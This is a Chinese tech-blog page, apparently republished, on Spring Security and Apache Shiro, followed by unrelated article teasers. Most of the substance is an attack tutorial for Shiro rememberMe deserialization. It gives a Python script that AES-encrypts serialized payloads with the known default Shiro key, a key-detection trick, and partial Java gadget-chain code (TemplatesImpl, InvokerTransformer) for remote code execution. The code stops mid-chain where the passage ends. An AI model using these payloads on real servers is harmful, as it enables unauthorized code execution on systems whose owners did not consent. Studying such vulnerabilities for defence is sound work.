开发知识点-JAVA-springboot+Spring Security/Shiro

在这里插入图片描述

Spring Security/Shiro

  • shiro
    • Shiro反序列化相关
      • URLDNS链
      • Shiro CC链
      • Shiro CB链
    • Shiro反序列化WAF绕过
  • Java快速开发框架_若依——前后端分离版- 3. 登陆 springsecurity认证 Debug - postman模拟
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-对象映射-基本属性映射
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-Spring Data JPA简介
  • SpringBoot+SpringSecurity+dubbo图书电商后台实战-课程介绍,架构说明,案例说明,前置知识
  • 参考文档
    • Shiro反序列化相关

Shiro 和 Spring 平台是两个不同的项目,它们可以在一起使用来提供安全认证和授权功能。

Shiro 是一个用于身份验证、授权、加密等安全功能的开源框架。它提供了一个简单且易于使用的 API,可以轻松地集成到 Java 应用程序中。Shiro 提供了一套灵活的安全管理功能,可以处理用户身份验证、访问控制、会话管理等任务。

Spring 平台是一个用于构建企业级应用程序的综合框架。它提供了大量的功能和组件,包括依赖注入、AOP、事务管理、Web 开发等。Spring 还提供了一个名为 Spring Security 的子项目,用于处理应用程序的安全需求。Spring Security 可以与 Shiro 集成,以提供更强大的安全功能。

因此,可以说 Shiro 是一个独立的安全框架,而 Spring 平台可以与 Shiro 一起使用来增强应用程序的安全性。通过将两者结合使用,开发人员可以更容易地实现身份验证、授权和其他安全功能。

shiro

Shiro反序列化相关

原理· 获取Cookie中rememberMe的值    
· 对rememberMe进行Base64解码    
· 使用AES进行解密    
· 对解密的值进行反序列化      这样的话攻击者就可以通过构造一个恶意的payload序列化之后 
然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。Shiro Key检测
当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,
如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();serialie(simplePrincipalCollection);

URLDNS链

首先进行序列化之后 进行AES加密 然后Base64进行编码


import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename):    with open(filename, 'rb') as f:        data = f.read()    return data def aes_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))    return ciphertext def aes_dec(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s : s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key), mode, iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file_data("ser.bin")    print(aes_enc(data))

需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可

Shiro CC链

是Shiro打CC链的话,你的POC中不能出现Transformer数组,

因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。

TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> clazz = templates.getClass();Field name = clazz.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"12312");Field bytecodes = clazz.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] code = Base64.getDecoder().decode("xxxx");bytecodes.set(templates,new byte[][]{code});
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);HashMap map = new HashMap();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/474862.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【网站项目】079信息化在线教学平台

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

基于 Amazon EC2 和 Amazon Systems Manager Session Manager 的堡垒机的设计和自动化实现

1. 背景 在很多企业的技术实现中&#xff0c;由于数据安全和合规性要求&#xff0c;大部分的应用服务都部署在私有云环境或专用网络中。为了满足开发人员和运维团队从本地数据中心安全访问云上资源的需求&#xff0c;采用堡垒机作为一种有效的解决方案变得尤为重要。 堡垒机的…

C语言运算符与表达式..

1.表达式 何为表达式呢 其实就是由一个或者多个运算对象和零个或者多个运算符组成的东西 诸如&#xff1a;5 10, 5, 5之类都称得上表达式 运算符和运算对象进行运算操作以后必然有一个结果 这个结果就是该表达式的结果 何为表达式语句呢 其实就是在表达式的基础之上在其尾部…

报警监控联动VI解决方案

在安防系统集成应用过程中&#xff0c;经常遇到需要视频监控系统和防盗报警系统进行联动 的情况&#xff0c;视频与报警联动主要是指在报警发生时&#xff0c;将指定的某一路或者几路视频切换到指定显示器&#xff0c;并且调用预置位&#xff0c;显示报警发生时的图像。实现报警…

【Java EE初阶十六】网络原理(一)

在网络原理中主要学习TCP/IP四层模型中的重点网络协议 1. 应用层 1.1 应用程序与协议 应用层是和程序员接触最密切的&#xff1b; 应用程序&#xff1a;在应用层这里&#xff0c;很多时候都是程序员自定义应用层协议&#xff08;步骤&#xff1a;1、根据需求&#xff0c;明确…

走进水墨世界,寻找传统之美

为深入了解中国传统水墨文化的底蕴及其在当代的价值&#xff0c;2024年2月16日&#xff0c;曲阜师范大学计算机学院“古韵新声&#xff0c;格物致‘知’”实践队的队员王涵智走进山东省高唐县巩德春艺术馆展开社会实践。实践队员以探访艺术馆为契机&#xff0c;领略传统水墨文化…

三维模型优化与可视化开发者服务

一站式服务开发者 1、极速流畅的浏览体验 无需安装插件&#xff0c;实现模型多端展示 最大支持100G模型&#xff0c;杜绝花、卡、闪 2、丰富易用的开发工具 无需掌握图形技术&#xff0c;实现模型轻量化和3D交互展示 提供丰富的SDK和API&#xff0c;简洁易用 老子云API 提供…

18-k8s控制器资源-cronjob控制器

job控制器是执行完一次任务&#xff0c;就结束&#xff1b; cronjob控制器&#xff0c;是基于job控制器&#xff0c;定期频率性执行任务&#xff1b;等同于linux系统中的crontab一样&#xff1b; 1&#xff0c;编辑cronjob资源清单 [rootk8s231 pi]# vim cronjob.yaml apiVers…

3D模型的开发框架及特点

在3D模型的开发中&#xff0c;有一些流行的框架和工具&#xff0c;它们提供了一系列功能&#xff0c;使得开发者能够更高效地创建、编辑和渲染3D模型。以下是一些常见的3D模型开发框架及其特点&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件…

Python编程中的异常处理

什么是异常&#xff1f; 程序错误&#xff08;errors&#xff09;有时也被称为程序异常&#xff08;exceptions&#xff09;&#xff0c;这是每个编程人员都会经常遇到的问题。在过去&#xff0c;当遇到这类情况时&#xff0c;程序会终止执行并显示错误信息&#xff0c;通常是…

如何使用python 挑战将ai生成的概念图制作成2d游戏

要使用Python将AI生成的概念图制作成2D游戏&#xff0c;你可以遵循以下步骤&#xff1a; 生成概念图&#xff1a; 使用AI图像生成工具&#xff08;如DALL-E、DeepArt等&#xff09;来创建你的游戏概念图。保存生成的图像文件&#xff0c;通常为PNG或JPEG格式。 选择游戏引擎&a…

[ai笔记5] 个人AI资讯助手实战

欢迎来到文思源想的ai空间&#xff0c;这是技术老兵重学ai以及成长思考的第5篇分享&#xff0c;也是把ai场景化应用的第一篇实操内容&#xff01; 既然要充分学习和了解ai&#xff0c;自然少不了要时常看看ai相关资讯&#xff0c;所以今天特地用字节的“扣子”做了一个ai的资讯…